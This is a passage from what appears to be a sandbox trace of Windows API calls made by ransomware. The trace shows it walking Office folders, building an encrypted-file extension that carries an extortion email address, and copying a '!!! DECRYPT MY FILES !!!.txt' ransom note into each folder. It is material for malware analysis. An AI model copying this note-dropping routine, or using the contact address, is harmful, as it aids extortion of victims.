lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.938] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0114.940] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.940] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9e7b530, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x58cd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0114.940] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE", len=0x42 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE") returned 1 [0114.940] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\LICLUA.EXE", cchLength=0x42 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office16\\liclua.exe") returned 0x42 [0114.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.940] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.940] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.940] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0114.941] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0114.941] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xd99442a7, dwReserved1=0x1d327e7, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4ec0 [0114.941] FindClose (in: hFindFile=0x6d4ec0 | out: hFindFile=0x6d4ec0) returned 1 [0114.941] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0114.943] GetProcessHeap () returned 0x630000 [0114.943] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1250 [0114.944] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 1 [0114.944] SysReAllocStringLen (in: pbstr=0x6ebeb48*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\", len=0x50 | out: pbstr=0x6ebeb48*="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\") returned 1 [0114.944] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\") returned 0x50 [0114.944] SysReAllocStringLen (in: pbstr=0x6ebeaf0*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebeaf0*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.944] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.944] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*.*", lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1, dwReserved1=0x718, cFileName=".", cAlternateFileName="")) returned 0x6d5440 [0114.946] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.946] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x168258, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0114.947] SysReAllocStringLen (in: pbstr=0x6ebeb40*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll", len=0x5b | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll") returned 1 [0114.947] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pidgenx.dll", cchLength=0x5b | out: lpsz="c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll") returned 0x5b [0114.947] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.947] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.947] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.947] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.947] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e1fe00, ftCreationTime.dwHighDateTime=0x1d0d79d, ftLastAccessTime.dwLowDateTime=0xda982389, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x69e1fe00, ftLastWriteTime.dwHighDateTime=0x1d0d79d, nFileSizeHigh=0x0, nFileSizeLow=0x902bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="PKEYCO~1.XRM")) returned 1 [0114.947] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pidgenx.dll", psz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms", len=0x68 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms") returned 1 [0114.947] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig-office.xrm-ms", cchLength=0x68 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms") returned 0x68 [0114.947] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.947] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.947] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.947] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.948] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdae4, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0114.948] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdae0, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0114.948] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebe84c | out: lpFindFileData=0x6ebe84c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0xd9f60362, dwReserved1=0x1d327e7, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d5240 [0114.948] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0114.948] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0114.951] GetProcessHeap () returned 0x630000 [0114.951] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6b1250, Size=0x10) returned 0x6b12f8 [0114.951] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5b5b0d00, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0xd9ff8cc1, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5b5b0d00, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="PKEYCO~1.DLL")) returned 1 [0114.951] SysReAllocStringLen (in: pbstr=0x6ebeb40*="c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig-office.xrm-ms", psz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll", len=0x68 | out: pbstr=0x6ebeb40*="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll") returned 1 [0114.951] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\pkeyconfig.companion.dll", cchLength=0x68 | out: lpsz="c:\\program files\\common files\\microsoft shared\\office16\\office setup controller\\pkeyconfig.companion.dll") returned 0x68 [0114.951] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.951] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdab0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.951] SysReAllocStringLen (in: pbstr=0x6ebeae0*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeae0*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.951] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.951] FindNextFileW (in: hFindFile=0x6d5440, lpFindFileData=0x6ebeb4c | out: lpFindFileData=0x6ebeb4c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.951] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0114.952] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.952] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0114.952] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0114.952] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\", len=0x50 | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\") returned 1 [0114.952] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\", cchLength=0x50 | out: lpsz="c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\") returned 0x50 [0114.952] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.952] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.953] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d5000 [0114.955] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.955] FindNextFileW (in: hFindFile=0x6d5000, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0114.955] FindClose (in: hFindFile=0x6d5000 | out: hFindFile=0x6d5000) returned 1 [0114.955] FindNextFileW (in: hFindFile=0x6d4e00, lpFindFileData=0x6ebf0dc | out: lpFindFileData=0x6ebf0dc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0114.955] SysReAllocStringLen (in: pbstr=0x6ebee10*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\", len=0x3d | out: pbstr=0x6ebee10*="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\") returned 1 [0114.955] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\", cchLength=0x3d | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\") returned 0x3d [0114.955] SysReAllocStringLen (in: pbstr=0x6ebedb8*=0x0, psz="C:\\Users\\FD1HVy\\Desktop\\", len=0x18 | out: pbstr=0x6ebedb8*="C:\\Users\\FD1HVy\\Desktop\\") returned 1 [0114.955] CharLowerBuffW (in: lpsz="C:\\Users\\FD1HVy\\Desktop\\", cchLength=0x18 | out: lpsz="c:\\users\\fd1hvy\\desktop\\") returned 0x18 [0114.955] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\*.*", lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d51c0 [0114.957] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.957] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x3ba48, dwReserved0=0x0, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0114.957] SysReAllocStringLen (in: pbstr=0x6ebee08*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE", len=0x44 | out: pbstr=0x6ebee08*="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE") returned 1 [0114.957] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\OSE.EXE", cchLength=0x44 | out: lpsz="c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe") returned 0x44 [0114.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0114.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebdd78, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0114.957] SysReAllocStringLen (in: pbstr=0x6ebeda8*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebeda8*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0114.957] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0114.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebddac, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txt") returned 28 [0114.957] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x64e230, cbMultiByte=17, lpWideCharStr=0x6ebdda8, cchWideChar=2047 | out: lpWideCharStr="TEEWLJH3QNDSEELUTFILES !!!.txt") returned 17 [0114.958] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT", lpFindFileData=0x6ebeb14 | out: lpFindFileData=0x6ebeb14*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf971581b, ftCreationTime.dwHighDateTime=0x1d5e216, ftLastAccessTime.dwLowDateTime=0xf971581b, ftLastAccessTime.dwHighDateTime=0x1d5e216, ftLastWriteTime.dwLowDateTime=0xf971581b, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x4accd6e1, dwReserved1=0x1d327e9, cFileName="TEEWLJH3QNDSEELUT", cAlternateFileName="TEEWLJ~1")) returned 0x6d4f00 [0114.958] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0114.958] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\TEEWLJH3QNDSEELUT" (normalized: "c:\\users\\fd1hvy\\desktop\\teewljh3qndseelut"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\Source Engine\\!!! DECRYPT MY FILES !!!.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\!!! decrypt my files !!!.txt"), bFailIfExists=0) returned 1 [0115.215] GetProcessHeap () returned 0x630000 [0115.215] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xc) returned 0x6b1418 [0115.215] FindNextFileW (in: hFindFile=0x6d51c0, lpFindFileData=0x6ebee14 | out: lpFindFileData=0x6ebee14*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, 